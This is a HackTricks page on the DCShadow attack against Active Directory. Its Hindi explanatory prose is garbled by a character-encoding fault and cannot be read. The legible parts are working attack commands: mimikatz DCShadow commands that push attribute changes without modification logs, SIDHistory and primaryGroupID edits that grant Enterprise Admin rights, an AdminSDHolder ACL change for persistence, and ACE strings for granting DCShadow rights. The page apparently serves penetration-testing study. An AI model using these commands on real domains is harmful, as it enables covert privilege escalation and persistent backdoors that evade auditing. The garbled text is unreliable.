DCShadow

Support HackTricks

DCShadow

рдпрд╣ AD рдореЗрдВ рдПрдХ рдирдпрд╛ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдкрдВрдЬреАрдХреГрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╡рд╕реНрддреБрдУрдВ рдкрд░ рдЧреБрдг (SIDHistory, SPNs...) рдХреЛ рдзрдХреЗрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд▓реЙрдЧ рдХреЗ рдЬреЛ рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реЛред рдЖрдкрдХреЛ DA рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдФрд░ рд░реВрдЯ рдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдЧрд▓рдд рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдмрд╣реБрдд рд╣реА рдЦрд░рд╛рдм рд▓реЙрдЧ рджрд┐рдЦрд╛рдИ рджреЗрдВрдЧреЗред

рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ 2 mimikatz рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ RPC рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХрд░реЗрдЧрд╛ (рдЖрдкрдХреЛ рдпрд╣рд╛рдВ рдЙрди рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ), рдФрд░ рджреВрд╕рд░рд╛ рдЙрджрд╛рд╣рд░рдг рдорд╛рдиреЛрдВ рдХреЛ рдзрдХреЗрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛:

mimikatz1 (RPC servers)
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
mimikatz2 (push) - DA рдпрд╛ рд╕рдорд╛рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ
lsadump::dcshadow /push

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ elevate::token mimikatz1 рд╕рддреНрд░ рдореЗрдВ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдереНрд░реЗрдб рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЖрдк "LDAP" рдСрдмреНрдЬреЗрдХреНрдЯ рднреА рдЪреБрди рд╕рдХрддреЗ рд╣реИрдВ: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

рдЖрдк DA рд╕реЗ рдпрд╛ рдЗрд╕ рдиреНрдпреВрдирддрдо рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдкрд░рд┐рд╡рд░реНрддрди рдзрдХреЗрд▓ рд╕рдХрддреЗ рд╣реИрдВ:

  • рдбреЛрдореЗрди рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ:

  • DS-Install-Replica (рдбреЛрдореЗрди рдореЗрдВ рдкреНрд░рддрд┐рдХреГрддрд┐ рдЬреЛрдбрд╝реЗрдВ/рд╣рдЯрд╛рдПрдВ)

  • DS-Replication-Manage-Topology (рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдЯреЛрдкреЛрд▓реЙрдЬреА рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░реЗрдВ)

  • DS-Replication-Synchronize (рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рд╕рдордиреНрд╡рдп)

  • рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрдВрдЯреЗрдирд░ рдореЗрдВ рд╕рд╛рдЗрдЯреНрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ (рдФрд░ рдЗрд╕рдХреЗ рдмрдЪреНрдЪреЗ):

  • CreateChild and DeleteChild

  • DC рдХреЗ рд░реВрдк рдореЗрдВ рдкрдВрдЬреАрдХреГрдд рдХрдВрдкреНрдпреВрдЯрд░ рдХрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ:

  • WriteProperty (рд▓рд┐рдЦреЗрдВ рдирд╣реАрдВ)

  • рд▓рдХреНрд╖реНрдп рдСрдмреНрдЬреЗрдХреНрдЯ:

  • WriteProperty (рд▓рд┐рдЦреЗрдВ рдирд╣реАрдВ)

рдЖрдк Set-DCShadowPermissions рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдПрдХ рдЕрдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬреНрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕рд╕реЗ рдХреБрдЫ рд▓реЙрдЧ рдЫреЛрдбрд╝реЗрдВрдЧреЗ)ред рдпрд╣ DA рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ рд╣реИред рдЙрджрд╛рд╣рд░рдг: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо student1 рдЬрдм рдорд╢реАрди mcorp-student1 рдореЗрдВ рд▓реЙрдЧ рдЗрди рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдСрдмреНрдЬреЗрдХреНрдЯ root1user рдкрд░ DCShadow рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВред

DCShadow рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреИрдХрдбреЛрд░ рдмрдирд╛рдирд╛

SIDHistory рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рдПрдбрдорд┐рдиреНрд╕ рд╕реЗрдЯ рдХрд░реЗрдВ
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
рдкреНрд░рд╛рдердорд┐рдХ рд╕рдореВрд╣ рдЖрдИрдбреА рдмрджрд▓реЗрдВ (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЗ рд╕рджрд╕реНрдп рдХреЗ рд░реВрдк рдореЗрдВ рдбрд╛рд▓реЗрдВ)
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
AdminSDHolder рдХреЗ ntSecurityDescriptor рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ (рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рджреЗрдВ)
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

Shadowception - DCShadow рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ DCShadow рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреЗрдВ (рд╕рдВрд╢реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд▓реЙрдЧ рдирд╣реАрдВ)

рд╣рдореЗрдВ рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ SID рдХреЗ рд╕рд╛рде рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд ACEs рдХреЛ рдЕрдВрдд рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

  • рдбреЛрдореЗрди рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░:

  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)

  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • рд╣рдорд▓рд╛рд╡рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░: (A;;WP;;;UserSID)

  • рд▓рдХреНрд╖рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░: (A;;WP;;;UserSID)

  • рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрдВрдЯреЗрдирд░ рдореЗрдВ рд╕рд╛рдЗрдЯреНрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░: (A;CI;CCDC;;;UserSID)

рдХрд┐рд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд╡рд░реНрддрдорд╛рди ACE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЛ рдХрдИ рдкрд░рд┐рд╡рд░реНрддрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдПрдХ рдирд╣реАрдВред рдЗрд╕рд▓рд┐рдП, mimikatz1 рд╕рддреНрд░ (RPC рд╕рд░реНрд╡рд░) рдореЗрдВ рдЙрд╕ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд╕рд╛рде /stack рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЗрд╕ рддрд░рд╣, рдЖрдкрдХреЛ рд╕рднреА рд╕реНрдЯрдХ рдХрд┐рдП рдЧрдП рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ рдмрд╛рд░ /push рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред

DCShadow рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА ired.team рдкрд░ред

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated